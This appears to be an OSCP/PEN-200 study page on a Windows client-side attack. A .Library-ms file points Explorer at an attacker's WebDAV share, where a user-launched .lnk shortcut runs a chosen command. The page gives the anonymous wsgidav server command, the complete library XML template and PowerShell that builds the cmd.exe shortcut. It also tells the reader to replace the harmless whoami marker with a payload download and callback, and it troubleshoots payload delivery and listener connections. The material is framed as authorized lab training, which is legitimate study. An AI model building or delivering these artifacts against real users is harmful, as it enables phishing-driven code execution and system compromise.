Use a Windows Library/WebDAV/shortcut chain with explicit interaction

Needs: Compatible Windows consumer, reachable WebDAV resource, correctly handled shortcut and required user launch; policy permits the action

The PEN-200 attack pattern is two-stage

# The PEN-200 attack pattern is two-stage
delivered .Library-ms
→ user opens library
→ Explorer reaches WebDAV location
→ user opens .lnk
→ shortcut launches chosen command
→ optional download/callback

If WsgiDAV is already installed, publish a dedicated authorized-lab directory

# If WsgiDAV is already installed, publish a dedicated authorized-lab directory
mkdir -p webdav
wsgidav --host=0.0.0.0 --port=80 \
  --root=./webdav --auth=anonymous

Original library template using placeholders

Anonymous mode exposes the selected directory. Bind only to the required lab interface when possible, place no sensitive files there and stop the server after the exercise. Port 80 is the reliable baseline for a plain-HTTP Windows WebDAV location. Use another port only after confirming the target WebClient accepts that URL form and the route permits it.

<!-- Original library template using placeholders -->
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <name>@windows.storage.dll,-34582</name>
  <version>1</version>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1002</iconReference>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <isSupported>false</isSupported>
      <simpleLocation>
        <url>http://LHOST/</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

Create a shortcut on a controlled Windows preparation host

Save it with a .Library-ms extension. Windows may add a serialized location after opening it; retain a clean source copy and inspect the final artifact before delivery.

# Create a shortcut on a controlled Windows preparation host
$shortcutPath = 'C:\PATH\webdav\ACTION.lnk'
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = "$env:SystemRoot\System32\cmd.exe"
$shortcut.Arguments = '/c whoami > %TEMP%\oscp-marker.txt'
$shortcut.WorkingDirectory = $env:TEMP
$shortcut.IconLocation = "$env:SystemRoot\System32\imageres.dll,11"
$shortcut.Save()

Diagnose this chain at three independent network points

Only after the harmless marker works, substitute a command compatible with the target and the separately proven callback route. Diagnose this chain at three independent network points:

# Diagnose this chain at three independent network points
Explorer → WebDAV
shortcut command → optional payload/download server
executed payload → listener/handler

Verify → Verify the launched command's identity/effect and distinguish WebDAV requests from execution.

If it fails → Unavailable WebDAV client, blocked remote path, missing shortcut interaction or policy can stop the chain before a callback. More detail ↓

If → then

A simple command works while a longer or nested payload fails → Repair quoting, encoding and command-length boundaries
Needs: Known outer request/template/database parser and inner shell; correct character encoding and transport length
A downloaded/generated artifact exists but does not run → Match an artifact to its executable consumer and runtime
Needs: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format
Command execution or payload delivery exists but the expected usable channel does not → Diagnose connection direction, listener and session failures in order
Needs: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Use a Windows Library/WebDAV/shortcut chain with explicit interaction

USE WHEN: A client-side scenario permits a Library file and remote share presentation
STARTING ACCESS: A recorded delivery/execution chain with the expected consumer and effect
RESULT: A verified shortcut-triggered command under the interacting user's identity

Recognize the clue

Inspect the actual Library XML, remote resource and shortcut properties from the assigned delivery scenario; distinguish browsing from launching.

Get-Content .\FILE.library-ms
Test-NetConnection LHOST -Port PORT

SYNTHETIC EXAMPLE OUTPUT

Library resource: http://LHOST:PORT/
Remote folder request: observed
Shortcut launch: not observed

Means: The resource can be presented while the executable user interaction is still absent.

Confirm: Verify compatible WebDAV/Library handling, actual shortcut target/launch, policy and its command effect.

After validation: The intended launch and resulting user-context command are observed: use the supported chain.
Ruled out in this context: The client cannot consume the resource or never performs the required allowed launch: reject that interaction path.
Still inconclusive: A WebDAV GET alone leaves code execution unproved.

Troubleshooting: Unavailable WebDAV client, blocked remote path, missing shortcut interaction or policy can stop the chain before a callback.

Additional prerequisite checks

Test-NetConnection LHOST -Port PORT
Get-Item .\FILE -Stream *

A .Library-ms file is an XML library description that can present a remote location in Explorer. The PEN-200 attack pattern is two-stage:

If WsgiDAV is already installed, publish a dedicated authorized-lab directory:

Anonymous mode exposes the selected directory. Bind only to the required lab interface when possible, place no sensitive files there and stop the server after the exercise. Port 80 is the reliable baseline for a plain-HTTP Windows WebDAV location. Use another port only after confirming the target WebClient accepts that URL form and the route permits it.

Original library template using placeholders:

Save it with a .Library-ms extension. Windows may add a serialized location after opening it; retain a clean source copy and inspect the final artifact before delivery.

Create a shortcut on a controlled Windows preparation host:

Only after the harmless marker works, substitute a command compatible with the target and the separately proven callback route. Diagnose this chain at three independent network points:

Failure cues:

Observation	Next boundary
Library opens empty	WebDAV bind, reachability, WebClient/policy, modified library serialization
WebDAV receives nothing	Artifact not opened, URL/port wrong, client route or WebDAV blocked
Directory appears; shortcut never runs	Required second user action absent or shortcut blocked
Marker works; download absent	Command quoting, DNS and payload-server route
Download occurs; no execution	Format, permissions, policy, quarantine or dependency
Execution proven; no callback	Listener, route, payload/handler compatibility

Why it works

The Library describes a resource; browsing it is different from launching a shortcut. WebDAV access, file presentation and process execution are separate conditions.

Worked example · hypothetical

Observation: the Library opens the remote location but no command executes. Test: verify whether the shortcut was actually launched and its target parsed. Illustrative output: only directory browsing occurred. Interpretation: the interaction trigger remains missing.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗